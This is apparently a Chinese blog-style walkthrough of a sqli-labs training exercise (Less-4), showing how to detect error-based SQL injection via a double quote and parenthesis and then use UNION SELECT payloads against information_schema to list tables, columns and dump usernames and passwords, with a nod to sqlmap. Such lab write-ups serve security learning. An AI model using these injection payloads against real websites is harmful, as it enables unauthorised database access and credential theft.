Sqli-Labs 是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。
项目地址:https://github.com/Audi-1/sqli-labs
Lesson-3 #Get - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
SQL注入中常用的字符:
注释符号 : --+
select ...from.... : 用于从表中选取数据
order by : 用于对结果集进行排序
union select : 用于合并两个或者多个SELECT语句的结果集
concat : 返回字符串连接的结果
运行测试环境:http://localhost/sqli-labs-master/Less-4/
输入ID参数1:http://localhost/sqli-labs-master/Less-4/?id=1 ,返回正常,继续测试陆续输入2,3,4,5,6....,均返回正常,而且随着参数ID值的改变,页面返回的name和Password的值也会出现不同。
在参数中尝试插入单引号,网站没有报错:
在参数中尝试插入单引号和括号,网站也没有报错:
测试一下双引号,网站报出错误信息:
【You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1】
根据我们的输入的是1",可以推测出
SELECT username from table where id =("input")
测试一下:
查看网页代码:
继续查询表字段的列数:
3的时候显示正常,4的时候报错,说明只有三列,输入错误参数进一步找到查询点:
information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面。
Mysql的INFORMATION_SCHEMA数据库包含了一些表和视图,提供了访问数据库元数据的方式。
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
SCHEMATA表:提供了关于数据库的信息。
TABLES表:给出了关于数据库中的表的信息。
COLUMNS表:给出了表中的列信息。
STATISTICS表:给出了关于表索引的信息。
USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。
SCHEMA_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。
TABLE_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。
COLUMN_PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。
CHARACTER_SETS表:提供了关于可用字符集的信息。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。
TABLE_CONSTRAINTS表:描述了存在约束的表。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
VIEWS表:给出了关于数据库中的视图的信息。
TRIGGERS表:提供了关于触发程序的信息。
查询一下dvwa数据库中全部的表名:
- http://localhost/sqli-labs-master/Less-4/?id=-4") union select 1,table_name,3 from information_schema.tables where table_schema='dvwa' limit 2,1--+
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1): 为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #。
对比一下数据库,和插入SQL语句查询的结果一样:
也可以通过group_concat()查询:
group_concat(),手册上说明:该函数返回带有来自一个组的连接的非NULL值的字符串结果。
查询users里面的字段:
*http://localhost/sqli-labs-master/Less-4/?id=-4") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
查询username,password字段里面的内容:
*http://localhost/sqli-labs-master/Less-4/?id=-4") union select 1,group_concat(username,password),3 from users --+
*PS:我在这里还遇到一个出错的情况,我感觉应该是权限的问题,希望有大神可以解惑,我查询user_id,first_name字段内容的时候出现了错误:
利用注入神器sqlmap验证一下:
进一步测试,DBA权限哦,欲知后事如何,请听以后分解:
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。